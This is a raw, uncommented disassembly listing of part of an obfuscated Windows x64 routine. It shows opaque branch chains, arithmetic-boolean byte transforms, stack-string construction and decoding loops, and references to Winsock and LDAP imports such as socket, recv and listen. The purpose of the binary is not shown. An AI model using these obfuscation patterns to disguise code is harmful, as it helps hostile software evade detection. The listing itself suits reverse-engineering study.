lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x1401e1fe0
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x1401e1fbd
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x1401e1f9c
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x1401e1f79
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x1401e1f56
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x1401e1f42
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x1401e1d21
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 1]
jmp 0x1401e1d21
movabs rdx, 0x7954c208e2fd862a
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x1401e1d14
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e1cad
movabs rdx, 0x108b6992c2ac8f32
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x1401e1c31
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x1401e2664
movabs rcx, 0x7ca3d7263d200934
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6c
jmp 0x1401e269c
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 8
jmp 0x1401e26c2
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401e2564
movabs rcx, 0x5f75d2750ca696c0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, r14b
jmp 0x1401e2593
movabs rdx, 0xab112639fc7e1b44
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e2602
movabs rdx, 0xf6ac79feec559fc8
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x78
jmp 0x1401e25bf
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x14
jmp 0x1401e2744
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x1401e20f3
movabs rdx, 0x4ae772f5239f741a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
mov byte [rbp + r10 + 0x7c0], bl
jmp 0x1401e27a9
movabs rdx, 0x9682c6ba1376f89e
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x52
jmp 0x1401e2299
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x1401e2252
movabs rdx, 0x2db96e43f32601a6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1401e2226
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e279a
movabs rdx, 0xb061b64de9cde808
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x1401e2744
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401e25d5
movabs rcx, 0x47985dd7c97cf110
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x70
jmp 0x1401e2602
movabs rcx, 0x9333b19cb9547594
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0xc
jmp 0x1401e2593
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_45
jmp 0x1401e1fab
movabs rcx, 0x2a6a592699037e9c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x44
jmp 0x1401e26c2
movabs rdx, 0x7605aceb88db0320
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e269c
movabs rcx, 0xc1a100b078b287a4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x1401e2676
lea rax, [r11 + 8]
cmp rdi, rax
jae 0x1401e22d0
lea rdx, [r10 + r15]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [r11 + rdi]
cmp rax, 6
je 0x1401e2598
lea rax, [r11 + 0x10]
cmp rdi, rax
jbe 0x1401e23a3
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, r14
jae 0x1401e2543
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x1401e2471
movabs rdx, 0xe41f9575967bc6dc
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 4
add bl, dl
cmp r11, 0x1000
jb 0x1401e207e
movabs rdx, 0xf00e4fc4381099b4
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401e2676
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401e22fc
movabs rcx, 0xcc4220d85352212c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x34
jmp 0x1401e279a
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401e2316
movabs rdx, 0x350b794e73a31824
mov ecx, esi
jmp 0x1401e25d5
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401e2345
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e2593
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401e2370
movabs rcx, 0x52397dffa41c8a98
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x1401e2569
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401e2228
movabs rdx, 0xbb02d675c46d8190
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e269c
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401e23cd
movabs rdx, 0xb26331447cfb31c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
jmp 0x1401e2674
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401e23f8
movabs rcx, 0xcf9135f5ad74a436
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7a
jmp 0x1401e2569
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401e2415
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x1401e232e
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401e2441
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x42
jmp 0x1401e2602
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401e2264
movabs rcx, 0x5588931cfe3f0da2
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6e
jmp 0x1401e279a
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401e249d
movabs rcx, 0x988441b0a6a44258
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x1401e279a
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401e24c7
movabs rdx, 0x14d9a26c6f53950
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x30
jmp 0x1401e25bf
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401e24e4
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x1401e232e
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401e2513
movabs rdx, 0xd2e04b1307972740
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e26c2
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401e229b
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, r12b
jmp 0x1401e269c
movabs rdx, 0xa472fbff48391530
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, byte [rbp + r10 + 0x7c0]
sub bl, al
sub bl, 0x50
add bl, r9b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x7c0], cl
add rdi, r11
jmp 0x1401e2602
movabs rdx, 0x58d7a83a586190ac
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x7c0]
add bl, r9b
add bl, dl
jmp 0x1401e26ea
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401e25bc
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401e27a9
movabs rcx, 0x34f151d5a22830a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x46
jmp 0x1401e26c2
movabs rdx, 0x9a85bca739d18c12
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7e
jmp 0x1401e2674
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x1e
add r9b, cl
mov byte [rbp + r10 + 0x7c0], r9b
add r11, r13
jmp 0x1401e26c2
movabs rdx, 0xc8f30bbaf92f9e22
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
sub r10, r13
jmp 0x1401e27a9
mov r9, r8
movabs rcx, 0xf7605aceb88db032
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x7c0], al
add r11, r13
add rax, r11
sub r10, rax
jmp 0x1401e2744
movabs rdx, 0x42fbae93a86534b6
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r9b, r8b
movabs rcx, 0xd3c5475688a0c28
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x18
add r9b, cl
mov byte [rbp + r10 + 0x7c0], r9b
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x1401e279a
movabs rdx, 0x8e970258983cb93a
add rdx, r10
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movzx eax, byte [rbp + r10 + 0x7c0]
add rax, r11
add r10, rax
add r10, r13
jmp 0x1401e1c1f
movabs rdx, 0x5c26bd57b28413b6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e1c1a
movabs rdx, 0xa7c2111ca25b983a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e1c0a
lea rdx, [rbp + 0x1598368]
jmp 0x1401e2816
lea rdx, [rbp + 0x16dc126]
jmp 0x1401e2816
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x3e0]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a80]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401e284b
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x1a80]
call fcn.140174580
nop
lea rcx, [rbp + 0x1a80]
call fcn.14024e690
nop
lea rcx, [rbp + 0x1a80]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0xbb0], 0xe3
mov byte [rbp + 0xbb1], 0xad
mov byte [rbp + 0xbb2], 0xec
mov byte [rbp + 0xbb3], 0xab
mov byte [rbp + 0xbb4], ntohl
mov byte [rbp + 0xbb5], 0xa9
mov byte [rbp + 0xbb6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xbb7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xbb8], 0x3d
mov byte [rbp + 0xbb9], __WSAFDIsSet
xor eax, eax
mov byte [rbp + 0xbba], al
mov byte [rbp + 0xbbb], __WSAFDIsSet
mov byte [rbp + 0xbbc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xbbd], __WSAFDIsSet
mov byte [rbp + 0xbbe], reloc.WS2_32.dll_listen
mov byte [rbp + 0xbbf], 0x9f
mov byte [rbp + 0xbc0], 7
mov byte [rbp + 0xbc1], 0x9d
mov byte [rbp + 0xbc2], 5
mov byte [rbp + 0xbc3], 0x9b
mov byte [rbp + 0xbc4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xbc5], 0x99
mov byte [rbp + 0xbc6], Ordinal_45
mov byte [rbp + 0xbc7], 0x87
lea r15d, [rax + 0x16]
mov byte [rbp + 0xbc8], r15b
mov byte [rbp + 0xbc9], 0x85
mov byte [rbp + 0xbca], Ordinal_217
mov byte [rbp + 0xbcb], 0x83
mov byte [rbp + 0xbcc], 0x3d
mov byte [rbp + 0xbcd], 0x81
mov byte [rbp + 0xbce], Ordinal_50
mov byte [rbp + 0xbcf], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xbd0], Ordinal_45
mov byte [rbp + 0xbd1], Ordinal_143
mov byte [rbp + 0xbd2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xbd3], Ordinal_143
mov byte [rbp + 0xbd4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xbd5], Ordinal_143
mov byte [rbp + 0xbd6], 0x64
mov byte [rbp + 0xbd7], 0xf7
mov byte [rbp + 0xbd8], 0x5c
mov byte [rbp + 0xbd9], 0xf5
mov byte [rbp + 0xbda], 0x62
mov byte [rbp + 0xbdb], 0xf3
mov byte [rbp + 0xbdc], 0xaa
mov byte [rbp + 0xbdd], 0xf1
mov byte [rbp + 0xbde], 0xa2
mov byte [rbp + 0xbdf], 0xff
mov byte [rbp + 0xbe0], 0xae
mov byte [rbp + 0xbe1], 0xfd
mov byte [rbp + 0xbe2], 0x57
mov byte [rbp + 0xbe3], 0xfb
mov byte [rbp + 0xbe4], 0x60
mov byte [rbp + 0xbe5], 0xf9
mov byte [rbp + 0xbe6], Ordinal_79
mov byte [rbp + 0xbe7], 0xe7
mov byte [rbp + 0xbe8], 0xb6
mov byte [rbp + 0xbe9], 0xe5
mov byte [rbp + 0xbea], 0x77
mov byte [rbp + 0xbeb], 0xe3
mov byte [rbp + 0xbec], 0x7d
mov byte [rbp + 0xbed], 0xe1
mov byte [rbp + 0xbee], 0x47
mov byte [rbp + 0xbef], 0xef
mov byte [rbp + 0xbf0], 0xec
mov byte [rbp + 0xbf1], 0xed
xorps xmm0, xmm0
movups xmmword [rbp + 0xbf2], xmm0
mov qword [rbp + 0xc02], rax
mov byte [rbp + 0xc0a], al
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x5b
jae 0x1401e3632
movzx r9d, byte [rbp + r10 + 0xbb0]
mov r8, r9
cmp rdi, r10
ja 0x1401e3629
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1401e2ad2
movabs rcx, 0xfa317cbfea226b1a
add rcx, r10
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x4a
jmp 0x1401e2b0c
je 0x1401e35a2
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401e3515
lea rax, [r11 + 4]
cmp rdi, rax
je 0x1401e34df
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401e3495
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401e346d
cmp r11, r10
ja 0x1401e3620
lea rax, [r11 + 0x7a]
cmp rdi, rax
jae 0x1401e2b32
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x1401e2d19
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401e3429
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401e340a
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401e33e7
lea rax, [r11 + 7]
cmp rdi, rax
je 0x1401e33c4
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x1401e30b1
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x1401e3090
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x1401e307c
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x1401e305a
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x1401e3038
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401e3012
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401e2ff0
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401e2fdc
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401e2fba
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x1401e2f94
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x1401e2b73
lea rdi, [r11 + 0x61]
lea r11, [rdi + 0x1000]
lea rax, [r11 + 0x400]
cmp rdi, rax
jb 0x1401e35fd
lea rax, [r11 + 0x200]
cmp rdi, rax
jb 0x1401e35d7
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x1401e2d52
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x1401e2d30
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x1401e2d0a
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x1401e2f39
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x1401e2ede
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x1401e2e90
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x64]
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x1401e2e6e
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x1401e2e4c
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x1401e2e26
lea rax, [r11 + 9]
cmp rdi, rax
ja 0x1401e2e04
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x1401e2df0
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x1401e2dcf
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x1401e2dbb
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x1401e2d99
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x1401e2d78
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x1401e2b73
lea rdi, [r11 + 0x1000]
lea r11, [rdi + 0x400]
jmp 0x1401e2b73
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e2b66
movabs rcx, 0xe47bc2b44c6b50ea
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x66
jmp 0x1401e2b0c
movabs rdx, 0xf018c93478267ab6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e2a9b
movabs rdx, 0x3079ddf1a6964910
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x70
jmp 0x1401e3445
movabs rcx, 0x3c16e471d25172dc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x1401e348a
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x1401e320a
movabs rdx, 0x5350f17229c7c674
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x2c
jmp 0x1401e34b1
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401e34ee
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x1401e3503
movabs rdx, 0x762804f2acf943d8
add rdx, r10
mov al, dl
and al, r9b
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e3539
movabs rcx, 0x81c50b72d8b46da4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x1401e356b
movabs rcx, 0x8d6211f3046f9770
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x1401e35c0
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
cmp r11, 0x41
jb 0x1401e3360
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x1401e3447
movabs rdx, 0xc1a4af33c939d386
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp rdi, 3
jae 0x1401e336d
lea rcx, [r11 + 2]
cmp rdi, rcx
jbe 0x1401e32a6
movabs rdx, 0x23d9f578ff064e54
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4c
add bl, dl
jmp 0x1401e2ead
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3e
lea rax, [r11 + rdi]
cmp rax, 0x5a
je 0x1401e3399
lea rax, [r11 + 0x41]
cmp rdi, rax
jbe 0x1401e31c5
movabs rdx, 0x9dcab9baca338532
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x1401e2eff
movabs rdx, 0x245b66753cf0b6cc
add rdx, r10
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e35c0
movabs rcx, 0x2ff86cf568abe098
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x1401e356b
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x1401e3123
movabs rcx, 0x473279f5c0223430
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x50
jmp 0x1401e3503
movabs rdx, 0x52cf8075ebdd5dfc
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e3500
movabs rcx, 0x5e6c86f6179887c8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x78
jmp 0x1401e34b3
movabs rcx, 0x6a098d764353b194
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
jmp 0x1401e348d
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x1401e31ae
movabs rdx, 0x81439a769aca052c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x34
jmp 0x1401e3445
lea rcx, [r11 + 2]
cmp rdi, rcx
jae 0x1401e30e0
movabs rdx, 0xfa317cbfea226b1a
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e2f56
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401e310f
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e35c0
cmp rdi, rcx
jne 0x1401e3138
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1401e33bd
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401e3167
movabs rdx, 0xd20d56fb8efdc148
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e34b3
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401e3192
movabs rcx, 0xc670507b6342977c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x64
jmp 0x1401e348d
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401e2f56
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e348a
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401e31f2
movabs rdx, 0x922db33a9e785b66
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1401e3445
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401e3221
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e348d
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401e324c
movabs rcx, 0x63b99939ef8bb436
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7a
jmp 0x1401e3500
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401e3277
movabs rcx, 0x4c7f8c399815609e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x52
jmp 0x1401e3539
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401e2eff
movabs rcx, 0x35457f39409f0d06
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2a
jmp 0x1401e35c0
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401e32c1
